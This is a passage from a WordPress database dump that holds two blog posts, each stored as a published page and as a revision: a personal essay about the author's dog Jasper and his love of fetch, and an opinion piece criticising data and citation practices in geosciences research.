inevitably about her. Women glanced out of his peripheral vision are simulacra of her. All thought tracks in his mind inevitably loop back into thoughts of her. It’s like her ghost surrounds him, and everything he senses is filtered through her.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That doesn’t really describe Jasper and fetch. Jasper’s not haunted by fetch. It doesn’t surround his brain. I think it’s more accurate to say he’s fulfilled by it. There’s some deep part of Jasper that goes all the way back to his Labrador Retriever roots that needs to fetch, just as much as his Whippet roots make him need to run at top speeds. It’s like his brain is one of those toddler’s toys with a ball shaped hole, and no other shape can quite fill the gap.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>People don’t get this. They ask me sometimes how I trained my dog to be so good at fetch, like I had to bribe him with treats to bring the ball back. That is how I taught him the rest of the limited commands that he knows, and I guess that is how other people might try to teach their dogs to fetch, but that wasn’t the case with him.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first day I got Jasper, he was a scared, shivering, smelly little thing, and I spent the entire first day coaxing him to walk alongside me and feel comfortable in my presence. I slept that first night by his crate, ready to soothe him when he inevitably woke up. The second day I got him, I took him to the fenced in play area beside my apartment building and I tossed a toy for him. He ran to get it, I called for him, and, after a moment’s hesitation, he brought it back. I gently took the toy from his mouth and tossed it again. This time, he had no hesitation. He brought the toy back and waited eagerly for me to throw it again with the first semblance of confidence I had seen him with in the short while I had known him.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It took him much longer to figure out the hunting trick he likes to do now, where he tosses his ball onto the walking paths next to the dog park like a lure, then makes eye contact with each stranger who walks by until one throws the ball for him. That only happened one day after his incessant desire for fetch had tired me out, and I just couldn’t throw the ball for him anymore. But, that luring, too, was entirely self-directed behavior. I didn’t tell him to do it. He just did it, and then he never stopped doing it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think, maybe, the essential problem is that Jasper is a cute dog and his fetching involves people, so people try to understand his behavior in a human way. They try to look at him and imagine what they would have to feel to behave the same way he does. They try to analogize his behavior to how they feel when they play a sport or indulge in their own favorite hobby. They try to tempt him to play only with them by throwing the ball as far as they can or trying to get him to compete with another dog, and don’t get when he’s indifferent to both and eventually, inevitably, just goes to another person to play fetch with them as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They don’t realize that the better way to understand his behavior is to ask why they play fetch with him at all, why he’s able to connect with them with a look and a head toss in a way our close cousins the chimps never could. If they realized, and if they looked within themselves, they’d notice a dog shaped hole there, one that is difficult to fill another way.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Humans have shaped dogs over millennia and imprinted tasks deep within their furry souls. We’ve made them need to herd, protect, guard, and, yes, fetch. But the things, and animals, we shape shape us in return.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, in other words, do not ask for whom Jasper fetches. He fetches for thee.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c0fe622-bc51-4332-8128-3f0de62b5da2_1179x1572.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c0fe622-bc51-4332-8128-3f0de62b5da2_1179x1572.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Jasper as a puppy. This was his first real snowfall, and he spent an hour or two jumping into the snow any chance he got, even when we were walking on the sidewalk. At some point, he realized that all this snow-jumping had made him really cold, so he did the logical thing and just laid down in the snow, shivering and refusing to move. That’s why I had to pick him up, wrap him in my hoodie, and carry him back to the hotel we were staying at. This story has nothing to do with fetch, but it’s one of my favorite memories of him. On a side note, he repeated this exact same mistake the following year, and I had to carry him again. Only this time, he was 50+ pounds, so the carrying was a lot less pleasant for both of us.</figcaption></figure>\n<!-- /wp:image -->','The tao of fetch','','publish','closed','closed','','the-tao-of-fetch','','','2024-06-12 16:00:04','2024-06-12 16:00:04','',0,'https://trevorklee.com/?page_id=409',0,'page','',0),
(410,1,'2024-06-12 16:00:04','2024-06-12 16:00:04','<!-- wp:paragraph -->\n<p>My dog is obsessed with fetch. At least, that’s what I tell people. It’s the easiest way to explain why he focuses on fetch to the exclusion of almost any other activity a dog might find fun, like chasing a squirrel or wrestling one of his fellow canines. It makes it less surprising (although no less impressive) when I tell them that he spent 7 or 8 hours at a barbeque this past Memorial Day tossing his ball at people’s feet and having them throw it, over and over again, until he was too tired to move anymore, and then still wanted to play fetch again when we got home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa55bad59-c970-44b1-b6d2-ac5fcc188437_1179x786.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa55bad59-c970-44b1-b6d2-ac5fcc188437_1179x786.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Post-successful retrieval.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Obsessed, for most people, makes sense for a behavior like that. But I don’t think it’s quite the right word. Obsessed, in its original sense, meant literally haunted or possessed by a demon. You can pretty clearly see those original religious overtones in our modern use of the word. If a guy is obsessed with a woman, the idea of her haunts him. He sees her face reflected in magazine covers and TV ads. Songs about beautiful women seem to be inevitably about her. Women glanced out of his peripheral vision are simulacra of her. All thought tracks in his mind inevitably loop back into thoughts of her. It’s like her ghost surrounds him, and everything he senses is filtered through her.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That doesn’t really describe Jasper and fetch. Jasper’s not haunted by fetch. It doesn’t surround his brain. I think it’s more accurate to say he’s fulfilled by it. There’s some deep part of Jasper that goes all the way back to his Labrador Retriever roots that needs to fetch, just as much as his Whippet roots make him need to run at top speeds. It’s like his brain is one of those toddler’s toys with a ball shaped hole, and no other shape can quite fill the gap.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>People don’t get this. They ask me sometimes how I trained my dog to be so good at fetch, like I had to bribe him with treats to bring the ball back. That is how I taught him the rest of the limited commands that he knows, and I guess that is how other people might try to teach their dogs to fetch, but that wasn’t the case with him.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first day I got Jasper, he was a scared, shivering, smelly little thing, and I spent the entire first day coaxing him to walk alongside me and feel comfortable in my presence. I slept that first night by his crate, ready to soothe him when he inevitably woke up. The second day I got him, I took him to the fenced in play area beside my apartment building and I tossed a toy for him. He ran to get it, I called for him, and, after a moment’s hesitation, he brought it back. I gently took the toy from his mouth and tossed it again. This time, he had no hesitation. He brought the toy back and waited eagerly for me to throw it again with the first semblance of confidence I had seen him with in the short while I had known him.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It took him much longer to figure out the hunting trick he likes to do now, where he tosses his ball onto the walking paths next to the dog park like a lure, then makes eye contact with each stranger who walks by until one throws the ball for him. That only happened one day after his incessant desire for fetch had tired me out, and I just couldn’t throw the ball for him anymore. But, that luring, too, was entirely self-directed behavior. I didn’t tell him to do it. He just did it, and then he never stopped doing it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think, maybe, the essential problem is that Jasper is a cute dog and his fetching involves people, so people try to understand his behavior in a human way. They try to look at him and imagine what they would have to feel to behave the same way he does. They try to analogize his behavior to how they feel when they play a sport or indulge in their own favorite hobby. They try to tempt him to play only with them by throwing the ball as far as they can or trying to get him to compete with another dog, and don’t get when he’s indifferent to both and eventually, inevitably, just goes to another person to play fetch with them as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They don’t realize that the better way to understand his behavior is to ask why they play fetch with him at all, why he’s able to connect with them with a look and a head toss in a way our close cousins the chimps never could. If they realized, and if they looked within themselves, they’d notice a dog shaped hole there, one that is difficult to fill another way.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Humans have shaped dogs over millennia and imprinted tasks deep within their furry souls. We’ve made them need to herd, protect, guard, and, yes, fetch. But the things, and animals, we shape shape us in return.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, in other words, do not ask for whom Jasper fetches. He fetches for thee.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c0fe622-bc51-4332-8128-3f0de62b5da2_1179x1572.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c0fe622-bc51-4332-8128-3f0de62b5da2_1179x1572.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Jasper as a puppy. This was his first real snowfall, and he spent an hour or two jumping into the snow any chance he got, even when we were walking on the sidewalk. At some point, he realized that all this snow-jumping had made him really cold, so he did the logical thing and just laid down in the snow, shivering and refusing to move. That’s why I had to pick him up, wrap him in my hoodie, and carry him back to the hotel we were staying at. This story has nothing to do with fetch, but it’s one of my favorite memories of him. On a side note, he repeated this exact same mistake the following year, and I had to carry him again. Only this time, he was 50+ pounds, so the carrying was a lot less pleasant for both of us.</figcaption></figure>\n<!-- /wp:image -->','The tao of fetch','','inherit','closed','closed','','409-revision-v1','','','2024-06-12 16:00:04','2024-06-12 16:00:04','',409,'https://trevorklee.com/?p=410',0,'revision','',0),
(411,1,'2024-06-12 16:02:54','2024-06-12 16:02:54','<!-- wp:paragraph -->\n<p>I usually try to steer clear of anything political in this blog because, frankly, I find the subject usually pretty distasteful, especially as it’s handled on the Internet. They say politics makes strange bedfellows, which is true, but they don’t mention the corollary that writing about politics makes a bunch of smelly, weird strangers jump into your bed. Frankly, I’d rather avoid the attention.<br><br>However, I just read a piece through Twitter that’s making me bend my rules slightly, as it intersects with my personal experience. In&nbsp;<a href=\"https://www.thefp.com/p/i-overhyped-climate-change-to-get-published\">this piece published in The Free Press</a>, an Earth scientist/geoscientist discusses how he changed his research on wildfires to focus on global warming as a cause, even though he didn’t think that was the most honest way of framing it. He talks about how changing the focus of his piece to global warming, instead of other wildfire-related factors that he thought were more important, allowed him to publish in a high impact journal (in this case,&nbsp;<em>Nature</em>) instead of a low impact one, and he says explicitly that he thinks this invisible editorial pressure to focus on global warming above all else was politically motivated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I don’t want to get into this guy’s research specifically<a href=\"https://trevorklee.substack.com/p/a-geosciences-paper-is-fraudulent#footnote-1-136853352\">1</a>, but I want to say that his experience does not surprise me. I got my undergraduate degree in geosciences and I did a fair amount of research in geosciences, for an undergrad, at least. And, overall, I was not impressed. Finding out that a Nature paper in geosciences was edited for political purposes is about as surprising to me as finding out that two professional wrestlers who hate each other in the ring are friends in real life. There are a lot of shenanigans in that field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Geosciences is in a weird place as a field. First of all, it’s way too big of a field. Geosciences covers meteorology, geology, oceanography, geography, microbiology, ecology, and physics. There are just way too many niches people can take, and there’s a lot of room for people to establish their own little citation kingdoms, especially when you get the giant 100 person papers. Nobody is incentivized to go against the consensus.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, when I was an undergrad, I took a research class on gas exchange and ecology, which is basically how different biomes create their own microclimates (e.g. forests release a lot of humidity through transpiration, which makes them more humid than the tundra). One of the papers we read was a collaboration effort where basically every North American university with an arboretum measured the gas output of their forest, with the idea of seeing whether deciduous-dominant forests would release different gasses than coniferous-dominant forests. Not brilliant, but whatever.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, when I was looking through the paper, I looked into their dataset, and found out that they just mislabeled their dataset. Like, literally ⅓ of the forests that were supposed to be deciduous were mislabeled as coniferous. It was a very obvious spreadsheet error that had huge impacts on the paper’s conclusions. But, when I brought this up to the professor, he brushed me off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the time, I was mad, but now I understand better. Yes, it probably is problematic that a paper about “deciduous vs. coniferous forests” was confused about which forests were which. But, my professor was up for tenure, and literally every single major university in North America was on this paper. It had to be in order to get the dataset. How was he going to go against the consensus?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This ties into the second problem: datasets. Geosciences is the study of the Earth. The Earth is big. Experiments are almost impossible to run. So, there are really only three types of papers:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) We got a bunch of data, looked at the data, and saw something weird.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) We got a bunch of data, backfit a model to it, and then predicted some wild things in the future</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) We got a bunch of data, backfit a model to it, and then extrapolated some things in the past</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>None of these are easily falsifiable. The closest you can usually come to falsifying any of these papers is usually by finding new data, like when the entire field of Antarctic ice sheet research had to grapple with their predictions of ice sheet collapse clashing with&nbsp;<a href=\"https://en.wikipedia.org/wiki/East_Antarctic_Ice_Sheet#Ice_mass_changes\">new data that showed the Antarctic ice sheet was actually growing</a>. But, new data is really hard to come by. Everyone in the Antarctic ice sheet research community was working off of the same satellite measurements as everyone else, and making the same mistakes as everyone else.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This leads to some major problems. People are so desperate for data that they really misuse the data sets they do have. It’s a classic streetlight effect. One of the major research projects I did as an undergrad was proving that the use of tidal gauge datasets to measure the intensity of historic hurricanes was a mistake. Tidal gauges are present in all major harbors, and because they’re an accurate, hourly measure of local sea level that, in some cases, go back centuries, hurricane researchers had been using them as proxies for hurricane intensities (i.e. higher sea level rise means more intense hurricane). But, as I found, tidal gauges really weren’t meant for that sort of thing, and, in fact, break during intense hurricanes, registering ludicrously low sea levels even in intense hurricanes like Hurricane Sandy. So papers using these tidal gauge datasets were measuring the intensity of hurricanes with broken instruments, leading them to false conclusions. There’s no way to fix this, and tidal gauge data just shouldn’t be used to measure the intensity of hurricanes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, in geosciences, like in most subjects, you can’t publish a paper that says, “Don’t use these datasets to study this subject”, especially if you don’t have anything to replace the dataset with. Nobody wants to throw out their carefully digitized spreadsheets and just admit defeat for the topic in question. So, without any better dataset, people keep using the same flawed datasets and keep producing more bogus studies.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, for example,&nbsp;<a href=\"https://www.frontiersin.org/articles/10.3389/fbuil.2020.00149/full\">this study</a>, published in 2020 with 9 citations, using tidal gauges in an effort to quantify flooding during Hurricane Sandy, or&nbsp;<a href=\"https://link.springer.com/article/10.1007/s10291-021-01105-2\">this one</a>&nbsp;from 2021 with 10 citations on tidal gauges with regards to Hurricane Harvey, or&nbsp;<a href=\"https://journals.ametsoc.org/view/journals/clim/36/13/JCLI-D-22-0670.1.xml\">this one</a>&nbsp;from 2023 on tidal gauges and the past century of east coast hurricanes with 4 citations. Now, given that these people have access to satellite data and can literally check their flooding data with pictures (I had to use newspaper data for the historic hurricanes), they probably should take the step of realizing, like I did, that tidal gauges can’t be used to measure the intensity of hurricanes. But, there’d be no second step. They’d have to just stop writing about this topic that they’ve spent so much time and effort on. So, instead, they all just keep using the datasets that exist and protect them from any attack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I saw this protectiveness over the datasets that do exist over and over again. Like, I took a class with our department head, and one of her big research projects was looking at the metabolism of bacteria in Antarctic lakes. The way she did this was by going to Antarctica, sticking electric probes in the water, and then extrapolating from changes in the voltage readouts what sort of chemical reactions the bacteria were creating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The trip to Antarctica she had taken to get the latest round of data had proven super fruitful for her and her collaborators. They had gotten a whole series of papers out of them. Unfortunately, as I found when she assigned analyzing her research paper as homework, her electric probes were not meant to be used in extreme conditions. In fact, the manufacturer said in the Internet-accessible user’s manual that using those electric probes in extreme conditions could lead to anomalous readouts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, those changes in the voltage readouts could have just been, well, anomalous readouts caused by using the instruments in extreme conditions. Whoops! But, when I pointed this out to her, she brushed me off and told me to forget it. Because, you know, she had gone all the way to Antarctica to get this data. What was she going to do, go back and replicate it on the off chance she had to retract like 5 papers?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There were so, so many problems like this. When you took the problems of niches dominated by incestuous citation rings and limited data sets, and then added a whole sector of the country that thought one of the foundational theories of the field, global warming, was totally fraudulent and was determined to prove it, correcting the field ended up being basically impossible.&nbsp;&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s where the field still is today! I have a friend now who’s an active researcher in geosciences, and she says there are still whole sectors of geosciences that she has to avoid interacting with because they’re so bad. They’re dominated by researchers who all cite each other and write papers with each other, whose predictions can’t be falsified (pro tip: if you say something has a 30% chance of happening 100 years in the future, it is literally impossible to prove you wrong), and whose only opposition is Republicans, ironically strengthening these researchers’ dominance because nobody wants to get in bed with Mitch McConnell.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My friend just works in a small subfield that nobody pays attention to which she feels like she can be intellectually honest in. Her subfield also suffers from very limited datasets, but she thinks the mathematical/modeling basis of the subfield is strong enough that she can make real scientific progress without resorting to bullshit. I hope she’s right.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, as for the rest of geosciences, I hope that articles like the one linked above will scare the field into behaving correctly. However, I have a bad feeling that it won’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-geosciences-paper-is-fraudulent#footnote-anchor-1-136853352\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although if I did, I’d talk about how much I dislike machine learning research papers like his for exactly the reason he describes. From the abstract, it seems like they just took a bunch of datasets, ran a bunch of correlations, and then wrote a just-so story about one correlation they found, which was, in this case, temperature, aridity, and wildfire. I think the relationship between these papers and “The morning routines of billionaires that can also make you a billionaire” blog posts is closer than anyone likes to admit.</p>\n<!-- /wp:paragraph -->','A geosciences paper is fraudulent? I\'m not surprised.','','publish','closed','closed','','a-geosciences-paper-is-fraudulent-im-not-surprised','','','2024-06-12 16:02:54','2024-06-12 16:02:54','',0,'https://trevorklee.com/?page_id=411',0,'page','',0),
(412,1,'2024-06-12 16:02:54','2024-06-12 16:02:54','<!-- wp:paragraph -->\n<p>I usually try to steer clear of anything political in this blog because, frankly, I find the subject usually pretty distasteful, especially as it’s handled on the Internet. They say politics makes strange bedfellows, which is true, but they don’t mention the corollary that writing about politics makes a bunch of smelly, weird strangers jump into your bed. Frankly, I’d rather avoid the attention.<br><br>However, I just read a piece through Twitter that’s making me bend my rules slightly, as it intersects with my personal experience. In&nbsp;<a href=\"https://www.thefp.com/p/i-overhyped-climate-change-to-get-published\">this piece published in The Free Press</a>, an Earth scientist/geoscientist discusses how he changed his research on wildfires to focus on global warming as a cause, even though he didn’t think that was the most honest way of framing it. He talks about how changing the focus of his piece to global warming, instead of other wildfire-related factors that he thought were more important, allowed him to publish in a high impact journal (in this case,&nbsp;<em>Nature</em>) instead of a low impact one, and he says explicitly that he thinks this invisible editorial pressure to focus on global warming above all else was politically motivated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I don’t want to get into this guy’s research specifically<a href=\"https://trevorklee.substack.com/p/a-geosciences-paper-is-fraudulent#footnote-1-136853352\">1</a>, but I want to say that his experience does not surprise me. I got my undergraduate degree in geosciences and I did a fair amount of research in geosciences, for an undergrad, at least. And, overall, I was not impressed. Finding out that a Nature paper in geosciences was edited for political purposes is about as surprising to me as finding out that two professional wrestlers who hate each other in the ring are friends in real life. There are a lot of shenanigans in that field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Geosciences is in a weird place as a field. First of all, it’s way too big of a field. Geosciences covers meteorology, geology, oceanography, geography, microbiology, ecology, and physics. There are just way too many niches people can take, and there’s a lot of room for people to establish their own little citation kingdoms, especially when you get the giant 100 person papers. Nobody is incentivized to go against the consensus.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, when I was an undergrad, I took a research class on gas exchange and ecology, which is basically how different biomes create their own microclimates (e.g. forests release a lot of humidity through transpiration, which makes them more humid than the tundra). One of the papers we read was a collaboration effort where basically every North American university with an arboretum measured the gas output of their forest, with the idea of seeing whether deciduous-dominant forests would release different gasses than coniferous-dominant forests. Not brilliant, but whatever.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, when I was looking through the paper, I looked into their dataset, and found out that they just mislabeled their dataset. Like, literally ⅓ of the forests that were supposed to be deciduous were mislabeled as coniferous. It was a very obvious spreadsheet error that had huge impacts on the paper’s conclusions. But, when I brought this up to the professor, he brushed me off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the time, I was mad, but now I understand better. Yes, it probably is problematic that a paper about “deciduous vs. coniferous forests” was confused about which forests were which. But, my professor was up for tenure, and literally every single major university in North America was on this paper. It had to be in order to get the dataset. How was he going to go against the consensus?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This ties into the second problem: datasets. Geosciences is the study of the Earth. The Earth is big. Experiments are almost impossible to run. So, there are really only three types of papers:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) We got a bunch of data, looked at the data, and saw something weird.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) We got a bunch of data, backfit a model to it, and then predicted some wild things in the future</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) We got a bunch of data, backfit a model to it, and then extrapolated some things in the past</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>None of these are easily falsifiable. The closest you can usually come to falsifying any of these papers is usually by finding new data, like when the entire field of Antarctic ice sheet research had to grapple with their predictions of ice sheet collapse clashing with&nbsp;<a href=\"https://en.wikipedia.org/wiki/East_Antarctic_Ice_Sheet#Ice_mass_changes\">new data that showed the Antarctic ice sheet was actually growing</a>. But, new data is really hard to come by. Everyone in the Antarctic ice sheet research community was working off of the same satellite measurements as everyone else, and making the same mistakes as everyone else.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This leads to some major problems. People are so desperate for data that they really misuse the data sets they do have. It’s a classic streetlight effect. One of the major research projects I did as an undergrad was proving that the use of tidal gauge datasets to measure the intensity of historic hurricanes was a mistake. Tidal gauges are present in all major harbors, and because they’re an accurate, hourly measure of local sea level that, in some cases, go back centuries, hurricane researchers had been using them as proxies for hurricane intensities (i.e. higher sea level rise means more intense hurricane). But, as I found, tidal gauges really weren’t meant for that sort of thing, and, in fact, break during intense hurricanes, registering ludicrously low sea levels even in intense hurricanes like Hurricane Sandy. So papers using these tidal gauge datasets were measuring the intensity of hurricanes with broken instruments, leading them to false conclusions. There’s no way to fix this, and tidal gauge data just shouldn’t be used to measure the intensity of hurricanes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, in geosciences, like in most subjects, you can’t publish a paper that says, “Don’t use these datasets to study this subject”, especially if you don’t have anything to replace the dataset with. Nobody wants to throw out their carefully digitized spreadsheets and just admit defeat for the topic in question. So, without any better dataset, people keep using the same flawed datasets and keep producing more bogus studies.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, for example,&nbsp;<a href=\"https://www.frontiersin.org/articles/10.3389/fbuil.2020.00149/full\">this study</a>, published in 2020 with 9 citations, using tidal gauges in an effort to quantify flooding during Hurricane Sandy, or&nbsp;<a href=\"https://link.springer.com/article/10.1007/s10291-021-01105-2\">this one</a>&nbsp;from 2021 with 10 citations on tidal gauges with regards to Hurricane Harvey, or&nbsp;<a href=\"https://journals.ametsoc.org/view/journals/clim/36/13/JCLI-D-22-0670.1.xml\">this one</a>&nbsp;from 2023 on tidal gauges and the past century of east coast hurricanes with 4 citations. Now, given that these people have access to satellite data and can literally check their flooding data with pictures (I had to use newspaper data for the historic hurricanes), they probably should take the step of realizing, like I did, that tidal gauges can’t be used to measure the intensity of hurricanes. But, there’d be no second step. They’d have to just stop writing about this topic that they’ve spent so much time and effort on. So, instead, they all just keep using the datasets that exist and protect them from any attack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I saw this protectiveness over the datasets that do exist over and over again. Like, I took a class with our department head, and one of her big research projects was looking at the metabolism of bacteria in Antarctic lakes. The way she did this was by going to Antarctica, sticking electric probes in the water, and then extrapolating from changes in the voltage readouts what sort of chemical reactions the bacteria were creating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The trip to Antarctica she had taken to get the latest round of data had proven super fruitful for her and her collaborators. They had gotten a whole series of papers out of them. Unfortunately, as I found when she assigned analyzing her research paper as homework, her electric probes were not meant to be used in extreme conditions. In fact, the manufacturer said in the Internet-accessible user’s manual that using those electric probes in extreme conditions could lead to anomalous readouts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, those changes in the voltage readouts could have just been, well, anomalous readouts caused by using the instruments in extreme conditions. Whoops! But, when I pointed this out to her, she brushed me off and told me to forget it. Because, you know, she had gone all the way to Antarctica to get this data. What was she going to do, go back and replicate it on the off chance she had to retract like 5 papers?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There were so, so many problems like this. When you took the problems of niches dominated by incestuous citation rings and limited data sets, and then added a whole sector of the country that thought one of the foundational theories of the field, global warming, was totally fraudulent and was determined to prove it, correcting the field ended up being basically impossible.&nbsp;&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s where the field still is today! I have a friend now who’s an active researcher in geosciences, and she says there are still whole sectors of geosciences that she has to avoid interacting with because they’re so bad. They’re dominated by researchers who all cite each other and write papers with each other, whose predictions can’t be falsified (pro tip: if you say something has a 30% chance of happening 100 years in the future, it is literally impossible to prove you wrong), and whose only opposition is Republicans, ironically strengthening these researchers’ dominance because nobody wants to get in bed with Mitch McConnell.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My friend just works in a small subfield that nobody pays attention to which she feels like she can be intellectually honest in. Her subfield also suffers from very limited datasets, but she thinks the mathematical/modeling basis of the subfield is strong enough that she can make real scientific progress without resorting to bullshit. I hope she’s right.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, as for the rest of geosciences, I hope that articles like the one linked above will scare the field into behaving correctly. However, I have a bad feeling that it won’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-geosciences-paper-is-fraudulent#footnote-anchor-1-136853352\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although if I did, I’d talk about how much I dislike machine learning research papers like his for exactly the reason he describes. From the abstract, it seems like they just took a bunch of datasets, ran a bunch of correlations, and then wrote a just-so story about one correlation they found, which was, in this case, temperature, aridity, and wildfire. I think the relationship between these papers and “The morning routines of billionaires that can also make you a billionaire” blog posts is closer than anyone likes to admit.</p>\n<!-- /wp:paragraph -->','A geosciences paper is fraudulent? I\'m not surprised.','','inherit','closed','closed','','411-revision-v1','','','2024-06-12 16:02:54','2024-06-12 16:02:54','',411,'https://trevorklee.com/?p=412',0,'revision','',0),
